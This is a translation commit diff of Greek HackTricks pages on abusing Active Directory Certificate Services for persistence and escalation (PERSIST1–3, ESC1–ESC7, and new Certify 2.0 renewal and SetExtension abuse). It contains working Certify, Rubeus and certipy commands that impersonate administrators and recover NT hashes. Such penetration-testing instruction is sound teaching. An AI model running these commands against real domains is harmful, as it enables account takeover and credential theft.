Translated ['src/windows-hardening/active-directory-methodology/ad-certi

This commit is contained in:
Translator 2025-08-13 18:51:00 +00:00
parent 28899d6eea
commit b6a2bb2737
2 changed files with 118 additions and 63 deletions

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων επιμονής μηχανής από την καταπληκτική έρευνα από [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων επιμονής μηχανής της καταπληκτικής έρευνας από [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
## **Κατανόηση της Κλοπής Διαπιστευτηρίων Ενεργού Χρήστη με Πιστοποιητικά PERSIST1**
Σε ένα σενάριο όπου ένας χρήστης μπορεί να ζητήσει ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση τομέα, ένας επιτιθέμενος έχει την ευκαιρία να **ζητήσει** και να **κλέψει** αυτό το πιστοποιητικό για να **διατηρήσει την επιμονή** σε ένα δίκτυο. Από προεπιλογή, το πρότυπο `User` στο Active Directory επιτρέπει τέτοιες αιτήσεις, αν και μπορεί μερικές φορές να είναι απενεργοποιημένο.
Σε ένα σενάριο όπου ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση τομέα μπορεί να ζητηθεί από έναν χρήστη, ένας επιτιθέμενος έχει την ευκαιρία να **ζητήσει** και να **κλέψει** αυτό το πιστοποιητικό για να **διατηρήσει την επιμονή** σε ένα δίκτυο. Από προεπιλογή, το πρότυπο `User` στο Active Directory επιτρέπει τέτοιες αιτήσεις, αν και μπορεί μερικές φορές να είναι απενεργοποιημένο.
Χρησιμοποιώντας ένα εργαλείο που ονομάζεται [**Certify**](https://github.com/GhostPack/Certify), μπορεί κανείς να αναζητήσει έγκυρα πιστοποιητικά που επιτρέπουν μόνιμη πρόσβαση:
```bash
@ -26,20 +26,31 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
```bash
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
```
Ένα σημαντικό προειδοποιητικό μήνυμα μοιράζεται σχετικά με το πώς αυτή η τεχνική, σε συνδυασμό με μια άλλη μέθοδο που περιγράφεται στην ενότητα **THEFT5**, επιτρέπει σε έναν επιτιθέμενο να αποκτήσει μόνιμα το **NTLM hash** ενός λογαριασμού χωρίς να αλληλεπιδράσει με την Υπηρεσία Υποσυστήματος Τοπικής Ασφάλειας (LSASS), και από ένα μη ανυψωμένο περιβάλλον, παρέχοντας μια πιο διακριτική μέθοδο για μακροχρόνια κλοπή διαπιστευτηρίων.
Ένα σημαντικό προειδοποιητικό μήνυμα μοιράζεται σχετικά με το πώς αυτή η τεχνική, σε συνδυασμό με μια άλλη μέθοδο που περιγράφεται στην ενότητα **THEFT5**, επιτρέπει σε έναν επιτιθέμενο να αποκτήσει μόνιμα το **NTLM hash** ενός λογαριασμού χωρίς να αλληλεπιδρά με την Υπηρεσία Υποσυστήματος Τοπικής Ασφάλειας (LSASS), και από ένα μη ανυψωμένο περιβάλλον, παρέχοντας μια πιο διακριτική μέθοδο για μακροχρόνια κλοπή διαπιστευτηρίων.
## **Απόκτηση Μηχανικής Μόνιμης Κατάστασης με Πιστοποιητικά - PERSIST2**
## **Gaining Machine Persistence with Certificates - PERSIST2**
Μια άλλη μέθοδος περιλαμβάνει την εγγραφή του λογαριασμού μηχανής ενός συμβιβασμένου συστήματος για ένα πιστοποιητικό, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine` που επιτρέπει τέτοιες ενέργειες. Εάν ένας επιτιθέμενος αποκτήσει ανυψωμένα δικαιώματα σε ένα σύστημα, μπορεί να χρησιμοποιήσει τον λογαριασμό **SYSTEM** για να ζητήσει πιστοποιητικά, παρέχοντας μια μορφή **persistency**:
Μια άλλη μέθοδος περιλαμβάνει την εγγραφή του λογαριασμού μηχανής ενός συμβιβασμένου συστήματος για ένα πιστοποιητικό, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine` που επιτρέπει τέτοιες ενέργειες. Εάν ένας επιτιθέμενος αποκτήσει ανυψωμένα δικαιώματα σε ένα σύστημα, μπορεί να χρησιμοποιήσει τον λογαριασμό **SYSTEM** για να ζητήσει πιστοποιητικά, παρέχοντας μια μορφή **persistence**:
```bash
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
```
Αυτή η πρόσβαση επιτρέπει στον επιτιθέμενο να αυθεντικοποιηθεί στο **Kerberos** ως ο λογαριασμός μηχανής και να χρησιμοποιήσει το **S4U2Self** για να αποκτήσει υπηρεσιακά εισιτήρια Kerberos για οποιαδήποτε υπηρεσία στον υπολογιστή, παρέχοντας ουσιαστικά στον επιτιθέμενο μόνιμη πρόσβαση στη μηχανή.
Αυτή η πρόσβαση επιτρέπει στον επιτιθέμενο να αυθεντικοποιηθεί στο **Kerberos** ως ο λογαριασμός μηχανής και να χρησιμοποιήσει το **S4U2Self** για να αποκτήσει εισιτήρια υπηρεσίας Kerberos για οποιαδήποτε υπηρεσία στον υπολογιστή, παρέχοντας ουσιαστικά στον επιτιθέμενο μόνιμη πρόσβαση στη μηχανή.
## **Επέκταση της Μόνιμης Πρόσβασης Μέσω Ανανέωσης Πιστοποιητικών - PERSIST3**
Η τελική μέθοδος που συζητείται περιλαμβάνει την εκμετάλλευση της **ισχύος** και των **περιόδων ανανέωσης** των προτύπων πιστοποιητικών. Με την **ανανεώση** ενός πιστοποιητικού πριν από την λήξη του, ένας επιτιθέμενος μπορεί να διατηρήσει την αυθεντικοποίηση στο Active Directory χωρίς την ανάγκη για επιπλέον εγγραφές εισιτηρίων, οι οποίες θα μπορούσαν να αφήσουν ίχνη στον διακομιστή Αρχής Πιστοποίησης (CA).
Η τελευταία μέθοδος που συζητείται περιλαμβάνει την εκμετάλλευση της **ισχύος** και των **περιόδων ανανέωσης** των προτύπων πιστοποιητικών. Με την **ανανεώση** ενός πιστοποιητικού πριν από την λήξη του, ένας επιτιθέμενος μπορεί να διατηρήσει την αυθεντικοποίηση στο Active Directory χωρίς την ανάγκη για επιπλέον εγγραφές εισιτηρίων, οι οποίες θα μπορούσαν να αφήσουν ίχνη στον διακομιστή Αρχής Πιστοποίησης (CA).
Αυτή η προσέγγιση επιτρέπει μια μέθοδο **επεκταμένης μόνιμης πρόσβασης**, ελαχιστοποιώντας τον κίνδυνο ανίχνευσης μέσω λιγότερων αλληλεπιδράσεων με τον διακομιστή CA και αποφεύγοντας τη δημιουργία αντικειμένων που θα μπορούσαν να ειδοποιήσουν τους διαχειριστές για την εισβολή.
### Ανανεώση Πιστοποιητικού με το Certify 2.0
Αρχίζοντας με το **Certify 2.0**, η ροή εργασίας ανανέωσης είναι πλήρως αυτοματοποιημένη μέσω της νέας εντολής `request-renew`. Δεδομένου ενός προηγουμένως εκδοθέντος πιστοποιητικού (σε μορφή **base-64 PKCS#12**), ένας επιτιθέμενος μπορεί να το ανανεώσει χωρίς να αλληλεπιδράσει με τον αρχικό κάτοχο τέλειο για διακριτική, μακροχρόνια μόνιμη πρόσβαση:
```powershell
Certify.exe request-renew --ca SERVER\\CA-NAME \
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
```
Η εντολή θα επιστρέψει ένα νέο PFX που είναι έγκυρο για άλλη μια πλήρη διάρκεια ζωής, επιτρέποντάς σας να συνεχίσετε την αυθεντικοποίηση ακόμη και μετά την λήξη ή την ανάκληση του πρώτου πιστοποιητικού.
## Αναφορές
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -21,10 +21,10 @@
- **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:**
- Τα αναγνωριστικά Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται.
- **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στην Αίτηση Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:**
- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί μια SAN από τον αιτούντα, αυτό υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει την καθορισμένη SAN από τον αιτούντα.
- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι καθορίζοντας το SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί ένα SAN από τον αιτούντα, αυτό υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό του SAN από τον αιτούντα.
> [!CAUTION]
> Η ρύθμιση που περιγράφεται επιτρέπει στους χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιαδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel.
> Η ρύθμιση που περιγράφεται επιτρέπει στους χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιοδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel.
Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών φιλοξενίας κατά την εκτέλεση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
@ -91,13 +91,13 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
- Η απαίτηση για έγκριση διευθυντή παραλείπεται.
- Καμία απαίτηση για εξουσιοδοτημένες υπογραφές.
- Ο ασφάλειας περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων κύριων.
- Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων προσώπων.
**Requirements 2:**
- Η Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Η έγκριση διευθυντή παρακάμπτεται.
- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU.
- Η έγκριση του διευθυντή παρακάμπτεται.
- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU.
- Μια EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την αυθεντικοποίηση τομέα.
- Περιορισμοί για τους agents εγγραφής δεν εφαρμόζονται στην CA.
@ -117,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Οι **χρήστες** που επιτρέπεται να **αποκτούν** ένα **πιστοποιητικό εκπροσώπου εγγραφής**, τα πρότυπα στα οποία οι εκπρόσωποι εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο εκπρόσωπος εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας δεξί κλικ στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Εκπρόσωποι Εγγραφής”.
Οι **χρήστες** που επιτρέπεται να **αποκτήσουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας με το δεξί κουμπί πάνω στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Enrollment Agents”.
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι να “**Μη περιορίζετε τους εκπροσώπους εγγραφής**.” Όταν η περιοριστική ρύθμιση για τους εκπροσώπους εγγραφής ενεργοποιείται από τους διαχειριστές, ρυθμίζοντας την σε “Περιορίστε τους εκπροσώπους εγγραφής,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιτρεπτική. Επιτρέπει την πρόσβαση σε **Όλους** για να εγγραφούν σε όλα τα πρότυπα ως οποιοσδήποτε.
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι να “**Μη περιορίζετε τους πράκτορες εγγραφής**.” Όταν η περιοριστική ρύθμιση για τους πράκτορες εγγραφής ενεργοποιείται από τους διαχειριστές, ρυθμίζοντας την σε “Περιορίστε τους πράκτορες εγγραφής,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιτρεπτική. Επιτρέπει την πρόσβαση σε **Όλους** για να εγγραφούν σε όλα τα πρότυπα ως οποιοσδήποτε.
## Ευάλωτος Έλεγχος Πρόσβασης Πιστοποιητικού - ESC4
@ -143,9 +143,9 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να καταστεί το πρότυπο ευάλωτο στο ESC1.
Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να καταστεί το πρότυπο ευάλωτο στο ESC1.
Όπως βλέπουμε στο παραπάνω μονοπάτι, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει την νέα άκρη `AddKeyCredentialLink` προς τον `JOHNPC`. Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτή την επίθεση επίσης, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ορίστε μια μικρή ματιά στην εντολή `shadow auto` του Certipy για να ανακτήσετε το NT hash του θύματος.
Όπως μπορούμε να δούμε στο παραπάνω μονοπάτι, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει την νέα άκρη `AddKeyCredentialLink` προς τον `JOHNPC`. Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτή την επίθεση επίσης, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ορίστε μια μικρή ματιά στην εντολή `shadow auto` του Certipy για να ανακτήσετε το NT hash του θύματος.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
@ -168,7 +168,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως το S4U2Self ή S4U2Proxy.
- Ο διακομιστής RPC/DCOM του διακομιστή CA.
- Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπων Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής.
- Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπα Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής.
Η ασφάλεια του συστήματος PKI μπορεί να παραβιαστεί αν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία.
@ -176,9 +176,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Εξήγηση
Το θέμα που συζητείται στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα.
Το θέμα που συζητείται στην [**ανάρτηση του CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα.
**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Όνομα-Τιμή”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς είναι ενσωματωμένες οι πληροφορίες λογαριασμού**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Ονομάτων και Τιμών”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς οι πληροφορίες λογαριασμού είναι ενσωματωμένες**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
### Κατάχρηση
@ -252,9 +252,9 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Explanation
> [!WARNING]
> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελέσουν την **επίθεση ESC6**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινήσει η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **Manage CA**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε πολλές διορθωμένες περιβάλλοντα λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022.
> Στην **προηγούμενη επίθεση** **`Manage CA`** χρησιμοποιήθηκαν δικαιώματα για να **ενεργοποιηθεί** η σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελεστεί η **ESC6 επίθεση**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινήσει η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **`Manage CA`**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε πολλές περιβαλλοντικές εγκαταστάσεις που έχουν διορθωθεί λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022.
Επομένως, μια άλλη επίθεση παρουσιάζεται εδώ.
Επομένως, παρουσιάζεται μια άλλη επίθεση εδώ.
Perquisites:
@ -262,7 +262,7 @@ Perquisites:
- **`Manage Certificates`** permission (μπορεί να παραχωρηθεί από **`ManageCA`**)
- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από **`ManageCA`**)
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης **`Manage CA`** αι_ **`Manage Certificates`** μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**.
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**.
#### Abuse
@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποίησης** με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτημα με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -318,35 +318,75 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
### Attack 3 Manage Certificates Extension Abuse (SetExtension)
#### Explanation
Εκτός από τις κλασικές καταχρήσεις ESC7 (ενεργοποίηση χαρακτηριστικών EDITF ή έγκριση εκκρεμών αιτημάτων), το **Certify 2.0** αποκάλυψε μια ολοκαίνουργια πρωτοβουλία που απαιτεί μόνο το ρόλο *Manage Certificates* (γνωστός και ως **Certificate Manager / Officer**) στην Enterprise CA.
Η μέθοδος `ICertAdmin::SetExtension` RPC μπορεί να εκτελείται από οποιονδήποτε φορέα κατέχει *Manage Certificates*. Ενώ η μέθοδος χρησιμοποιούνταν παραδοσιακά από νόμιμες CAs για την ενημέρωση επεκτάσεων σε **εκκρεμή** αιτήματα, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη προεπιλεγμένη* επέκταση πιστοποιητικού** (για παράδειγμα, μια προσαρμοσμένη OID *Certificate Issuance Policy* όπως `1.1.1.1`) σε ένα αίτημα που περιμένει έγκριση.
Δεδομένου ότι το στοχευμένο πρότυπο **δεν ορίζει προεπιλεγμένη τιμή για αυτήν την επέκταση**, η CA ΔΕΝ θα αντικαταστήσει την τιμή που ελέγχεται από τον επιτιθέμενο όταν το αίτημα τελικά εκδοθεί. Το προκύπτον πιστοποιητικό περιέχει επομένως μια επέκταση που έχει επιλεγεί από τον επιτιθέμενο και μπορεί να:
* Ικανοποιήσει τις απαιτήσεις πολιτικής εφαρμογής / έκδοσης άλλων ευάλωτων προτύπων (οδηγώντας σε κλιμάκωση προνομίων).
* Εισάγει επιπλέον EKUs ή πολιτικές που παρέχουν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα.
Με απλά λόγια, το *Manage Certificates* που προηγουμένως θεωρούνταν το “λιγότερο ισχυρό” μισό του ESC7 μπορεί τώρα να αξιοποιηθεί για πλήρη κλιμάκωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει τη διαμόρφωση της CA ή να απαιτεί το πιο περιοριστικό δικαίωμα *Manage CA*.
#### Abusing the primitive with Certify 2.0
1. **Υποβάλετε ένα αίτημα πιστοποιητικού που θα παραμείνει *εκκρεμές*.** Αυτό μπορεί να επιβληθεί με ένα πρότυπο που απαιτεί έγκριση διαχειριστή:
```powershell
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Σημειώστε το επιστρεφόμενο Request ID
```
2. **Προσθέστε μια προσαρμοσμένη επέκταση στο εκκρεμές αίτημα** χρησιμοποιώντας την νέα εντολή `manage-ca`:
```powershell
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # ψεύτικο OID πολιτικής έκδοσης
```
*Εάν το πρότυπο δεν ορίζει ήδη την επέκταση *Certificate Issuance Policies*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.*
3. **Εκδώστε το αίτημα** (εάν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Manage Certificates*) ή περιμένετε να το εγκρίνει ένας χειριστής. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό:
```powershell
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
```
